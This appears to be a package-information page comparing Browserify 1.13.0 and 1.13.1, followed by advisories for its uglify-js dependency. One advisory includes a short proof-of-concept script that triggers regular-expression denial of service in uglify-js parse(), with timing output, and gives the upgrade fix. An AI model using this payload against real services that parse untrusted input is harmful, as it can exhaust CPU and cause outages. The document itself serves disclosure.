Browserify is a powerful tool for developers aiming to use Node.js-style modules in the browser, enabling code reuse and organization similar to server-side development. Versions 1.13.0 and 1.13.1 are very similar, sharing the same core dependencies such as nub, deputy, resolve, and optimist for module resolution and dependency management. This consistency suggests that the fundamental functionality of Browserify remains stable across these versions, providing a reliable browser-side require() implementation.
The key difference lies in the release date, with version 1.13.1 being released just a day after 1.13.0. This often indicates a bug fix or a very minor enhancement. Developers should consider upgrading to the newer version (1.13.1) to potentially benefit from any immediate fixes or improvements applied since the previous release. While both versions have the same devDependencies, meaning the tools used for development,testing and building the package are consistent. These include libraries like seq, tap, jade and lazy that allows developers to test, profile and enhance the package. The quick iteration from 1.13.0 to 1.13.1 is a reminder to stay up-to-date with the latest releases for optimal performance and reliability when using Browserify to bundle JavaScript for the browser. In conclusion, both versions offer the same core browserify functionalities, but choosing the latest ensures you're working with the most refined version.
All the vulnerabilities related to the version 1.13.1 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.